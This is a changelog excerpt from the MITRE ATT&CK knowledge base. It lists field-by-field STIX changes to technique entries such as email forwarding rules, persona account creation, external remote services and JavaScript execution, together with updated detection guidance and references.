| > | , and further gain intelligence on the victim or the victim’ | > | , and further gain intelligence on the victim or the victim’ | ||
| > | s organization to use as part of further exploits or operati | > | s organization to use as part of further exploits or operati | ||
| > | ons.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook W | > | ons.(Citation: US-CERT TA18-068A 2018) Furthermore, email fo | ||
| > | eb App (OWA) allow users to create inbox rules for various e | > | rwarding rules can allow adversaries to maintain persistent | ||
| > | mail functions, including forwarding to a different recipien | > | access to victim's emails even after compromised credentials | ||
| > | t. Messages can be forwarded to internal or external recipie | > | are reset by administrators.(Citation: Pfammatter - Hidden | ||
| > | nts, and there are no restrictions limiting the extent of th | > | Inbox Rules) Most email clients allow users to create inbox | ||
| > | is rule. Administrators may also create forwarding rules for | > | rules for various email functions, including forwarding to a | ||
| > | user accounts with the same considerations and outcomes.(Ci | > | different recipient. These rules may be created through a l | ||
| > | tation: Microsoft Tim McMichael Exchange Mail Forwarding 2) | > | ocal email application, a web interface, or by command-line | ||
| > | Any user or administrator within the organization (or adve | > | interface. Messages can be forwarded to internal or external | ||
| > | rsary with valid credentials) can create rules to automatica | > | recipients, and there are no restrictions limiting the exte | ||
| > | lly forward all received messages to another recipient, forw | > | nt of this rule. Administrators may also create forwarding r | ||
| > | ard emails to different locations based on the sender, and m | > | ules for user accounts with the same considerations and outc | ||
| > | ore. | > | omes.(Citation: Microsoft Tim McMichael Exchange Mail Forwar | ||
| > | ding 2)(Citation: Mac Forwarding Rules) Any user or adminis | ||||
| > | trator within the organization (or adversary with valid cred | ||||
| > | entials) can create rules to automatically forward all recei | ||||
| > | ved messages to another recipient, forward emails to differe | ||||
| > | nt locations based on the sender, and more. Adversaries may | ||||
| > | also hide the rule by making use of the Microsoft Messaging | ||||
| > | API (MAPI) to modify the rule properties, making it hidden a | ||||
| > | nd not visible from Outlook, OWA or most Exchange Administra | ||||
| > | tion tools.(Citation: Pfammatter - Hidden Inbox Rules) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 22:43:45.509000+00:00 | 2021-10-15 20:19:33.416000+00:00 |
| description | Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook Web App (OWA) allow users to create inbox rules for various email functions, including forwarding to a different recipient. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. | Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules) Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules) |
| external_references[2]['source_name'] | Microsoft Tim McMichael Exchange Mail Forwarding 2 | Pfammatter - Hidden Inbox Rules |
| external_references[2]['description'] | McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019. | Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021. |
| external_references[2]['url'] | https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/ | https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/ |
| x_mitre_data_sources[0] | Process use of network | Application Log: Application Log Content |
| x_mitre_detection | Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level. | Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules) Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level. |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Tim McMichael Exchange Mail Forwarding 2', 'description': 'McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.', 'url': 'https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/'} | |
| external_references | {'source_name': 'Mac Forwarding Rules', 'description': 'Apple. (n.d.). Reply to, forward, or redirect emails in Mail on Mac. Retrieved June 22, 2021.', 'url': 'https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac'} | |
| x_mitre_contributors | Microsoft Security | |
| x_mitre_platforms | Google Workspace | |
| x_mitre_platforms | macOS | |
| x_mitre_platforms | Linux |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Email gateway | |
| x_mitre_data_sources | Mail server | |
| x_mitre_data_sources | Office 365 trace logs |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may create and cul | t | 1 | Adversaries may create and cultivate accounts with services |
| > | tivate accounts with services that can be used during target | > | that can be used during targeting. Adversaries can create ac | ||
| > | ing. Adversaries can create accounts that can be used to bui | > | counts that can be used to build a persona to further operat | ||
| > | ld a persona to further operations. Persona development cons | > | ions. Persona development consists of the development of pub | ||
| > | ists of the development of public information, presence, his | > | lic information, presence, history and appropriate affiliati | ||
| > | tory and appropriate affiliations. This development could be | > | ons. This development could be applied to social media, webs | ||
| > | applied to social media, website, or other publicly availab | > | ite, or other publicly available information that could be r | ||
| > | le information that could be referenced and scrutinized for | > | eferenced and scrutinized for legitimacy over the course of | ||
| > | legitimacy over the course of an operation using that person | > | an operation using that persona or identity.(Citation: NEWSC | ||
| > | a or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatR | > | ASTER2014)(Citation: BlackHatRobinSage) For operations inco | ||
| > | obinSage) For operations incorporating social engineering, | > | rporating social engineering, the utilization of an online p | ||
| > | the utilization of an online persona may be important. These | > | ersona may be important. These personas may be fictitious or | ||
| > | personas may be fictitious or impersonate real people. The | > | impersonate real people. The persona may exist on a single | ||
| > | persona may exist on a single site or across multiple sites | > | site or across multiple sites (ex: Facebook, LinkedIn, Twitt | ||
| > | (ex: Facebook, LinkedIn, Twitter, Google, etc.). Establishin | > | er, Google, GitHub, Docker Hub, etc.). Establishing a person | ||
| > | g a persona may require development of additional documentat | > | a may require development of additional documentation to mak | ||
| > | ion to make them seem real. This could include filling out p | > | e them seem real. This could include filling out profile inf | ||
| > | rofile information, developing social networks, or incorpora | > | ormation, developing social networks, or incorporating photo | ||
| > | ting photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRob | > | s.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) E | ||
| > | inSage) Establishing accounts can also include the creation | > | stablishing accounts can also include the creation of accoun | ||
| > | of accounts with email providers, which may be directly lev | > | ts with email providers, which may be directly leveraged for | ||
| > | eraged for [Phishing for Information](https://attack.mitre.o | > | [Phishing for Information](https://attack.mitre.org/techniq | ||
| > | rg/techniques/T1598) or [Phishing](https://attack.mitre.org/ | > | ues/T1598) or [Phishing](https://attack.mitre.org/techniques | ||
| > | techniques/T1566).(Citation: Mandiant APT1) | > | /T1566).(Citation: Mandiant APT1) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:20:40.675000+00:00 | 2021-10-16 17:35:59.386000+00:00 |
| description | Before compromising a victim, adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) For operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) | Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) For operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) |
| x_mitre_data_sources[0] | Social media monitoring | Persona: Social Media |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network Traffic: Network Traffic Content |
Current version: 2.3
Version changed from: 2.1 → 2.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage external-facing remote services to | t | 1 | Adversaries may leverage external-facing remote services to |
| > | initially access and/or persist within a network. Remote ser | > | initially access and/or persist within a network. Remote ser | ||
| > | vices such as VPNs, Citrix, and other access mechanisms allo | > | vices such as VPNs, Citrix, and other access mechanisms allo | ||
| > | w users to connect to internal enterprise network resources | > | w users to connect to internal enterprise network resources | ||
| > | from external locations. There are often remote service gate | > | from external locations. There are often remote service gate | ||
| > | ways that manage connections and credential authentication f | > | ways that manage connections and credential authentication f | ||
| > | or these services. Services such as [Windows Remote Manageme | > | or these services. Services such as [Windows Remote Manageme | ||
| > | nt](https://attack.mitre.org/techniques/T1021/006) can also | > | nt](https://attack.mitre.org/techniques/T1021/006) and [VNC] | ||
| > | be used externally. Access to [Valid Accounts](https://atta | > | (https://attack.mitre.org/techniques/T1021/005) can also be | ||
| > | ck.mitre.org/techniques/T1078) to use the service is often a | > | used externally.(Citation: MacOS VNC software for Remote Des | ||
| > | requirement, which could be obtained through credential pha | > | ktop) Access to [Valid Accounts](https://attack.mitre.org/t | ||
| > | rming or by obtaining the credentials from users after compr | > | echniques/T1078) to use the service is often a requirement, | ||
| > | omising the enterprise network.(Citation: Volexity Virtual P | > | which could be obtained through credential pharming or by ob | ||
| > | rivate Keylogging) Access to remote services may be used as | > | taining the credentials from users after compromising the en | ||
| > | a redundant or persistent access mechanism during an operati | > | terprise network.(Citation: Volexity Virtual Private Keylogg | ||
| > | on. | > | ing) Access to remote services may be used as a redundant or | ||
| > | persistent access mechanism during an operation. Access ma | ||||
| > | y also be gained through an exposed service that doesn’t req | ||||
| > | uire authentication. In containerized environments, this may | ||||
| > | include an exposed Docker API, Kubernetes API server, kubel | ||||
| > | et, or web application such as the Kubernetes dashboard.(Cit | ||||
| > | ation: Trend Micro Exposed Docker Server)(Citation: Unit 42 | ||||
| > | Hildegard Malware) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-19 20:07:09.600000+00:00 | 2021-08-19 16:57:27.209000+00:00 |
| description | Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) can also be used externally. Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation. | Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop) Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation. Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware) |
| external_references[2]['source_name'] | Volexity Virtual Private Keylogging | MacOS VNC software for Remote Desktop |
| external_references[2]['description'] | Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017. | Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021. |
| external_references[2]['url'] | https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/ | https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac |
| x_mitre_data_sources[0] | Authentication logs | Application Log: Application Log Content |
| x_mitre_detection | Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours. | Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours. When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application. |
| x_mitre_version | 2.1 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Volexity Virtual Private Keylogging', 'description': 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.', 'url': 'https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/'} | |
| external_references | {'source_name': 'Trend Micro Exposed Docker Server', 'description': 'Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html'} | |
| external_references | {'source_name': 'Unit 42 Hildegard Malware', 'description': 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.', 'url': 'https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/'} | |
| x_mitre_contributors | ExtraHop | |
| x_mitre_contributors | David Fiser, @anu4is, Trend Micro | |
| x_mitre_contributors | Alfredo Oliveira, Trend Micro | |
| x_mitre_contributors | Idan Frimark, Cisco | |
| x_mitre_contributors | Rory McCune, Aqua Security | |
| x_mitre_contributors | Yuval Avrahami, Palo Alto Networks | |
| x_mitre_contributors | Jay Chen, Palo Alto Networks | |
| x_mitre_contributors | Brad Geesaman, @bradgeesaman | |
| x_mitre_contributors | Magno Logan, @magnologan, Trend Micro | |
| x_mitre_contributors | Ariel Shuper, Cisco | |
| x_mitre_contributors | Yossi Weizman, Azure Defender Research Team | |
| x_mitre_contributors | Vishwas Manral, McAfee | |
| x_mitre_data_sources | Logon Session: Logon Session Metadata | |
| x_mitre_data_sources | Network Traffic: Network Traffic Flow | |
| x_mitre_platforms | Containers | |
| x_mitre_platforms | macOS |
Current version: 1.2
Version changed from: 1.0 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 16:31:35.249000+00:00 | 2021-10-19 13:37:31.463000+00:00 |
| x_mitre_data_sources[0] | GCP audit logs | Process: Process Creation |
| x_mitre_data_sources[1] | Azure activity logs | Process: Process Termination |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[3] | Anti-virus | Windows Registry: Windows Registry Key Deletion |
| x_mitre_data_sources[4] | Services | Command: Command Execution |
| x_mitre_data_sources[5] | API monitoring | Service: Service Metadata |
| x_mitre_data_sources[6] | Environment variable | Sensor Health: Host Status |
| x_mitre_data_sources[7] | Authentication logs | Script: Script Execution |
| x_mitre_data_sources[8] | File monitoring | Firewall: Firewall Disable |
| x_mitre_data_sources[9] | Process command-line parameters | Firewall: Firewall Rule Modification |
| x_mitre_data_sources[10] | Process monitoring | Cloud Service: Cloud Service Modification |
| x_mitre_data_sources[11] | Windows Registry | Cloud Service: Cloud Service Disable |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | Windows | Office 365 |
| x_mitre_platforms[2] | macOS | IaaS |
| x_mitre_platforms[3] | AWS | Linux |
| x_mitre_platforms[4] | GCP | macOS |
| x_mitre_platforms[5] | Azure | Containers |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Network |
Current version: 2.1
Version changed from: 1.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse JavaScript and/or JScript for executio | t | 1 | Adversaries may abuse various implementations of JavaScript |
| > | n. JavaScript (JS) is a platform-agnostic scripting language | > | for execution. JavaScript (JS) is a platform-independent scr | ||
| > | (compiled just-in-time at runtime) commonly associated with | > | ipting language (compiled just-in-time at runtime) commonly | ||
| > | scripts in webpages, though JS can be executed in runtime e | > | associated with scripts in webpages, though JS can be execut | ||
| > | nvironments outside the browser.(Citation: NodeJS) JScript | > | ed in runtime environments outside the browser.(Citation: No | ||
| > | is the Microsoft implementation of the same scripting standa | > | deJS) JScript is the Microsoft implementation of the same s | ||
| > | rd. JScript is interpreted via the Windows Script engine and | > | cripting standard. JScript is interpreted via the Windows Sc | ||
| > | thus integrated with many components of Windows such as the | > | ript engine and thus integrated with many components of Wind | ||
| > | [Component Object Model](https://attack.mitre.org/technique | > | ows such as the [Component Object Model](https://attack.mitr | ||
| > | s/T1559/001) and Internet Explorer HTML Application (HTA) pa | > | e.org/techniques/T1559/001) and Internet Explorer HTML Appli | ||
| > | ges.(Citation: JScrip May 2018)(Citation: Microsoft JScript | > | cation (HTA) pages.(Citation: JScrip May 2018)(Citation: Mic | ||
| > | 2007)(Citation: Microsoft Windows Scripts) Adversaries may | > | rosoft JScript 2007)(Citation: Microsoft Windows Scripts) J | ||
| > | abuse JavaScript / JScript to execute various behaviors. Com | > | avaScript for Automation (JXA) is a macOS scripting language | ||
| > | mon uses include hosting malicious scripts on websites as pa | > | based on JavaScript, included as part of Apple’s Open Scrip | ||
| > | rt of a [Drive-by Compromise](https://attack.mitre.org/techn | > | ting Architecture (OSA), that was introduced in OSX 10.10. A | ||
| > | iques/T1189) or downloading and executing these script files | > | pple’s OSA provides scripting capabilities to control applic | ||
| > | as secondary payloads. Since these payloads are text-based, | > | ations, interface with the operating system, and bridge acce | ||
| > | it is also very common for adversaries to obfuscate their c | > | ss into the rest of Apple’s internal APIs. As of OSX 10.10, | ||
| > | ontent as part of [Obfuscated Files or Information](https:// | > | OSA only supports two languages, JXA and [AppleScript](https | ||
| > | attack.mitre.org/techniques/T1027). | > | ://attack.mitre.org/techniques/T1059/002). Scripts can be ex | ||
| > | ecuted via the command line utility <code>osascript</code>, | ||||
| > | they can be compiled into applications or script files via < | ||||
| > | code>osacompile</code>, and they can be compiled and execute | ||||
| > | d in memory of other programs by leveraging the OSAKit Frame | ||||
| > | work.(Citation: Apple About Mac Scripting 2016)(Citation: Sp | ||||
| > | ecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Cit | ||||
| > | ation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec ma | ||||
| > | cOS JXA and VSCode) Adversaries may abuse various implement | ||||
| > | ations of JavaScript to execute various behaviors. Common us | ||||
| > | es include hosting malicious scripts on websites as part of | ||||
| > | a [Drive-by Compromise](https://attack.mitre.org/techniques/ | ||||
| > | T1189) or downloading and executing these script files as se | ||||
| > | condary payloads. Since these payloads are text-based, it is | ||||
| > | also very common for adversaries to obfuscate their content | ||||
| > | as part of [Obfuscated Files or Information](https://attack | ||||
| > | .mitre.org/techniques/T1027). | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Cody Thomas, SpecterOps'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-25 03:23:13.804000+00:00 | 2021-08-16 21:02:05.142000+00:00 |
| name | JavaScript/JScript | JavaScript |
| description | Adversaries may abuse JavaScript and/or JScript for execution. JavaScript (JS) is a platform-agnostic scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS) JScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts) Adversaries may abuse JavaScript / JScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027). | Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)
JScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)
JavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple’s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple’s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple’s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility osascript, they can be compiled into applications or script files via osacompile, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)
Adversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027). |
| x_mitre_data_sources[0] | Loaded DLLs | Command: Command Execution |
| x_mitre_data_sources[1] | DLL monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | File monitoring | Module: Module Load |
| x_mitre_data_sources[3] | Process command-line parameters | Script: Script Execution |
| x_mitre_detection | Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. | Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.
Monitor for execution of JXA through osascript and usage of OSAScript API that may be related to other suspicious behavior occurring on the system.
Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. |
| x_mitre_version | 1.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Apple About Mac Scripting 2016', 'description': 'Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021.', 'url': 'https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html'} | |
| external_references | {'source_name': 'SpecterOps JXA 2020', 'description': 'Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021.', 'url': 'https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5'} | |
| external_references | {'source_name': 'SentinelOne macOS Red Team', 'description': 'Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.', 'url': 'https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/'} | |
| external_references | {'source_name': 'Red Canary Silver Sparrow Feb2021', 'description': 'Tony Lambert. (2021, February 18). Clipping Silver Sparrow’s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021.', 'url': 'https://redcanary.com/blog/clipping-silver-sparrows-wings/'} | |
| external_references | {'source_name': 'MDSec macOS JXA and VSCode', 'description': 'Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021.', 'url': 'https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify the kernel to automatically execute p | t | 1 | Adversaries may modify the kernel to automatically execute p |
| > | rograms on system boot. Loadable Kernel Modules (LKMs) are p | > | rograms on system boot. Loadable Kernel Modules (LKMs) are p | ||
